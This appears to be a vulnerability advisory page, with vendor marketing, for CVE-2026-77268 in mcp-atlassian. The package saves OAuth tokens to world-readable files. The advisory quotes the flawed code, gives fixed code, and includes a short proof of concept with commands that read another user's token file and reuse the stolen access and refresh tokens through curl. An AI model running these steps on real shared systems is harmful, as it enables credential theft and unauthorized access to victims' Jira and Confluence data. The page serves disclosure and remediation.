Summary
MCP Atlassian: Insecure File Permissions on OAuth Token Storage
The OAuth token fallback file storage in OAuthConfig._save_tokens_to_file() creates token files containing access tokens, refresh tokens, and cloud IDs with default filesystem permissions (typically 0644 on Linux, world-readable). Any local user on a shared system can read these files to obtain full Atlassian API credentials, enabling unauthorized access to the victim's Jira and Confluence data.
Details
The vulnerability exists in src/mcp_atlassian/utils/oauth.py in the _save_tokens_to_file method.
Step 1 -- Directory created without restrictive permissions:
At line 402-403, the token directory is created with mkdir(exist_ok=True) which uses the default umask (typically creating directories with mode 0755):
# src/mcp_atlassian/utils/oauth.py:402-403
token_dir = Path.home() / ".mcp-atlassian"
token_dir.mkdir(exist_ok=True)
Step 2 -- Token file written with default permissions:
At line 417-418, the token file containing sensitive credentials is written using open() with no explicit mode, inheriting default umask permissions (typically 0644 on Linux):
# src/mcp_atlassian/utils/oauth.py:406-418
token_path = token_dir / f"oauth-{self.client_id}.json"
if token_data is None:
token_data = {
"refresh_token": self.refresh_token,
"access_token": self.access_token,
"expires_at": self.expires_at,
"cloud_id": self.cloud_id,
"base_url": self.base_url,
}
with open(token_path, "w") as f:
json.dump(token_data, f)
Step 3 -- The file contains full API credentials:
The token file contains:
access_token: A valid OAuth access token for the Atlassian APIrefresh_token: Can be exchanged for new access tokens indefinitelycloud_id: Identifies the target Atlassian Cloud instancebase_url: The target Data Center instance URL
No os.chmod or os.fchmod is called anywhere after file creation.
The primary storage via keyring (line 373) is secure, but the fallback file storage at line 386 is always written in addition to keyring (line 386: self._save_tokens_to_file(token_data)). When keyring fails (common in headless/container/CI environments), the fallback becomes the only storage.
PoC
# Step 1: Victim runs mcp-atlassian with OAuth and completes the flow.
# This creates the token file.
# Step 2: As any other user on the same system, read the token file:
cat /home/victim/.mcp-atlassian/oauth-*.json
# Expected output (sensitive credentials in plaintext):
# {"refresh_token": "eyJ...", "access_token": "eyJ...", "expires_at": 1741234567.0, "cloud_id": "abc-123", "base_url": null}
# Step 3: Verify the token works:
curl -H "Authorization: Bearer <stolen_access_token>" \
"https://api.atlassian.com/ex/jira/<stolen_cloud_id>/rest/api/3/myself"
# Step 4: Use the refresh token to get a new access token:
curl -X POST "https://auth.atlassian.com/oauth/token" \
-d "grant_type=refresh_token" \
-d "client_id=<from_env>" \
-d "client_secret=<from_env>" \
-d "refresh_token=<stolen_refresh_token>"
Verify file permissions (on Linux/macOS):
ls -la ~/.mcp-atlassian/
# drwxr-xr-x 2 user user 4096 Mar 10 12:00 .
# -rw-r--r-- 1 user user 256 Mar 10 12:00 oauth-abc123.json
# ^^ ^^ ^^
# world-readable!
Impact
- Credential theft: Any local user can read the OAuth tokens and impersonate the victim on their Atlassian Cloud/Data Center instance.
- Persistent access: The refresh token allows the attacker to generate new access tokens indefinitely, even after the original access token expires.
- Full API access: The stolen tokens grant the same API permissions as the victim, including reading/writing Jira issues, Confluence pages, and potentially sensitive project data.
- Affected environments: Shared servers, CI/CD runners, multi-user workstations, and containerized deployments where the fallback file storage is used (keyring unavailable).
A file, directory, or other resource is assigned permissions that allow broader access than intended. Typical impact: unauthorized read, modification, or execution of the resource.
CVE-2026-77268 has a CVSS score of 5.5 (Medium). The vector is requires local access, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.22.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
1. Set restrictive permissions on the directory and file:
# src/mcp_atlassian/utils/oauth.py
import os
import stat
def _save_tokens_to_file(self, token_data: dict | None = None) -> None:
"""Save the tokens to a file as fallback storage."""
try:
token_dir = Path.home() / ".mcp-atlassian"
token_dir.mkdir(exist_ok=True, mode=0o700)
token_path = token_dir / f"oauth-{self.client_id}.json"
if token_data is None:
token_data = {
"refresh_token": self.refresh_token,
"access_token": self.access_token,
"expires_at": self.expires_at,
"cloud_id": self.cloud_id,
"base_url": self.base_url,
}
# Open with restrictive permissions (owner-only read/write)
fd = os.open(
str(token_path),
os.O_WRONLY | os.O_CREAT | os.O_TRUNC,
stat.S_IRUSR | stat.S_IWUSR, # 0o600
)
try:
with os.fdopen(fd, "w") as f:
json.dump(token_data, f)
except Exception:
os.close(fd)
raise
logger.debug(f"Saved OAuth tokens to file {token_path} (fallback storage)")
except Exception as e:
logger.error(f"Failed to save tokens to file: {e}")
2. Additionally, fix the directory permissions for existing installations:
# In __init__ or from_env, ensure existing directories are tightened
token_dir = Path.home() / ".mcp-atlassian"
if token_dir.exists():
os.chmod(str(token_dir), 0o700)
Frequently Asked Questions
- What is CVE-2026-77268? CVE-2026-77268 is a medium-severity incorrect permission assignment for critical resource vulnerability in mcp-atlassian (pip), affecting versions < 0.22.0. It is fixed in 0.22.0. A file, directory, or other resource is assigned permissions that allow broader access than intended.
- How severe is CVE-2026-77268? CVE-2026-77268 has a CVSS score of 5.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of mcp-atlassian are affected by CVE-2026-77268? mcp-atlassian (pip) versions < 0.22.0 is affected.
- Is there a fix for CVE-2026-77268? Yes. CVE-2026-77268 is fixed in 0.22.0. Upgrade to this version or later.
- Is CVE-2026-77268 exploitable, and should I be worried? Whether CVE-2026-77268 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-77268 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-77268? Upgrade
mcp-atlassianto 0.22.0 or later.